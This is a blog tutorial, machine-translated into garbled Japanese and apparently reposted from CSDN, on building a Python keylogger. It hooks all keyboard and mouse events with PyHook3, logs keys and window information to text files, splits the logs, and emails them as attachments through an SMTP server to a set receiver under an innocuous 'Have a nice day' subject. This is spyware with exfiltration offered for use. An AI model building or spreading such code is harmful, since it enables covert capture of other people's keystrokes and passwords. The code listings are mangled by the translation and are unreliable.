Pythonは、キーボードとマウスのイベントを監視し、メールボックスにコンテンツを送信します!

A.環境とツール

環境:win10、Python3.6

ツール:JetBrainsのPyCharm 2018年1月4日

第二に、サードパーティのライブラリを使用します:

インポートのOS 
インポートしたりするsmtplib#センドメール
のインポート時
のインポートスレッディング
インポートメールのコピーコード

以下は、主にこれら3つのライブラリを監視するために使用されます。

PyHook3インポート
インポートPythonCOM 
past.builtinsからの輸入はxrangeは、コードをコピー

環境は、上記のサードパーティのライブラリを所有していない場合に導入する方法を参照して、以下のように、自分自身やGoogleで、説明することができます

III。モニター、キーボード、マウス操作を実現

使用PyHook3、pythoncomライブラリモニタ、キーボード、マウスイベント

#モニタはオブジェクトの作成
    マネージャPyHook3.HookManagerを=() 
モニタをすべてのキーボードイベント
    manager.KeyDown = on_keyboard_event 
    #セットキーボード監視
    manager.HookKeyboard() 
モニタサイクル、手動でオフになっていない場合、プログラムはリスニング状態にあった
    (pythoncom.PumpMessages)コードをコピー

on_keyboard_event印刷機能は、情報を監視するために使用されます

デフon_keyboard_event(イベント):
    "" " 
    监听键盘事件
    :のparamイベント:
    :リターン:同鼠标监听事件的返回值
    """ 

    印刷( '==================キーボード==================== ')待機を開始
    ' event.MessageName):プリント(' MessageNameに
    ' event.Message):プリント('メッセージ
    (プリント'を時間:」、event.Time)
    プリント( 'ウィンドウ:'、event.Window)
    プリント( 'アスキー:'、event.Ascii、CHR(event.Ascii))
    プリント( 'キー:'、event.Key)
    プリント( 'KeyIDを'、event.KeyID)
    プリント( 'スキャンコード:'、event.ScanCode)
    プリント( '拡張'、event.Extended)
    プリント( '注入:'、event.Injected) 
    プリント( 'Altキー:'、event.Alt)event.Injected) 
    プリント( 'トランジション:'、event.Transition) 
    プリント( '==================キーボードを聴き始める=============== =====は')

    复制Trueを返し代码

連続モニター、マウス、およびモニタ用の「真」を返しますが、同様のモニタ、キーボードを実現しています。

IV。モニター情報がファイルに書き込まれます

コンソールのキーボード・モニター情報に印刷されますが、現在のディレクトリのtxtファイルに書き込まれます

on_keyboard_event DEF(イベント):
    "" " 
    モニターのキーパッド・ファイルに書き込まれる情報
    :PARAMイベント:
    :リターン:
    " "" 
    オープンとの( './ keyboard.txt'、 '+ A')AS F:
        f.write(
            "イベント: '+ event.MessageName +'、時間: '+ format_time()+' 、ウィンドウ情報: ' 
            + STR(event.Window)+'、キー: '+ event.Key +'、キーID:「+ STR(event.KeyID)+ '\ R&LT \ n-は')

    真のコピーコードを返します

V.セグメンテーションモニター情報ファイル

ファイルの内容を分割するためによると、いうよりファイルサイズで。ファイルサイズは2つのファイルに分割されます接続されているパートに応じて分割されたとき以来。

デフsplit_file(自己):
        "" " 
        按照内容行数分割
        :リターン""" 
        オープンと(self.fileName + '.txtの'、 'R')としてf:
            グローバルインデックス
            :1しばらく
                指数+ = 1 
                試してみてください。
                    :一時として( 'W'、+ '_%d.txt' %インデックスself.fileName)オープンと
                        (self.Size)はxrangeで_について:
                            temp.write(F .__次__())
                を呼び出すとStopIterationを除く:
                    ブレーク

    デフtimer_split_file (自己
        ):""」
        超过指定行数则分割
        :リターン:
        「」」
        オープンと(self.fileName + 'の.txt'、 'R')Fとして:
            行= f.readlines()
            もし行.__ LEN __()> self.Size:
                self.split_file()复制代码

VI。指定されたメールボックスに送信されたモニター情報

送信リスニング情報を用いて相互にメッセージを送信するEメー​​ルは、送信者のメールボックスPOP3 / SMTPサービスを開く必要があります。添付ファイルとして送信された情報ファイルを監視します。POP3 / SMTPサービスを開き、受信者はメッセージが表示されない場合は、電子メールも受信者のメールボックスのゴミ。

@staticmethod 
    :DEF SEND_EMAIL()
        ホスト= 'smtp.163.com' #設定メールサーバ
        のユーザ= 'svip*****@163.com' #送信者
        パスワード= 'SMTを***** 1' #カスタマーライセンスコードの端

        センダ=「svip******@163.com」#送信匿名
        受信= [「1341****[email protected]」]#メッセージを受信

        #構成されているメッセージオブジェクト
        MSG =のMimeMultipart(「の代替')
        MSG ['から'] = SENDER 
        MSG ['に'] = ";")(レシーバーに参加
        ?MSG ['件名'] =ヘッダー('持っAナイスデイ、どのようにしている'' UTF-8。 ')
        MSG ['メッセージID '] = make_msgid()
        MSG ['日'] =は、FormatDate()
        メッセージ=ます:MIMEText('これは今日の内容である」、 'プレーン'、 'UTF-8') 
        msg.attach(メッセージ)

        #添付ファイルオブジェクトの構築、情報伝送マウスリスナー
        IFインデックス= 0 :! 
            範囲でNUMについて(1 ,. 1 +指数):
                mouse_file_name = './mouse_' + STR(NUM)+ 'の.txt' 
                mouse_file =オープン(mouse_file_name、 'RB')。読み取り()
                mouse_send =ます:MIMEText(mouse_file、 'Base64で'、 'UTF-8')
                mouse_send [ 'のContent-Type'] = 'ファイルapplication / octet-streamと' 
                mouse_send [ 'コンテンツの廃棄'] =添付ファイル、ファイル名= '+ mouse_file_name 
                msg.attach(mouse_send) 
キーボードの監視情報が送信される
        (./ keyboard.txt '' RB ')引数key_file =開く'。読む()
        key_send =ます:MIMEText(引数key_file、' Base64で'' UTF 8 ') 
        key_send [ 'のContent-Type'] = 'アプリケーション/オクテットストリーム'
        key_send [ 'のContent-処分'] = '添付ファイル;ファイル名= keyboard.txt' 
        msg.attach(key_send)

        #Eメール
        試し:
            メールsmtplib.SMTP_SSL =(ホスト、465)
            mail.login(ユーザー、パスワード)
            mail.sendmail (送信者、受信者、msg.as_string())
            mail.quit()
        smtplib.SMTPException除い:
            #例外情報を捕捉しない
            パスをコードをコピー

七。バグと解決

警告01:

この検査は、安全に、静的行うことができる任意のメソッドを検出します。

ソリューション01:

上記プラスの方法で:@staticmethod

エラー02:

'自己':例外TypeError:1つの必要な位置引数をmain()の行方不明

ソリューション02:

最初のクラスの例としては、そのクラスを使用します

たとえば、

リスニング=リスニング()

listening.main()

エラー03:

TypeError例外:「フロート」オブジェクトは呼び出し可能ではありません

ソリューション03:

変数名やメソッド名の競合、またはキーワードとの競合

エラー04:

email.errors.MultipartConversionError:非マルチパート/に追加サブパートを添付することはできません*

ソリューション04:

添付ファイル付きのインスタンスを作成しないでください

たとえば、

MSG =のMimeMultipart( '混合')

エラー05:

smtp.qq.comを使用する場合は、メッセージを送信:接続が予期せず終了

ソリューション05:

送信者はメールボックスのPOP3 / SMTPサービスを開きません

たとえば、

エラー06:

smtplib.SMTPHeloError:(500、b'Error:不正な構文 ')

公開された151元の記事 ウォンの賞賛4 ビュー10000 +

おすすめ

転載: blog.csdn.net/weixin_46089319/article/details/105408735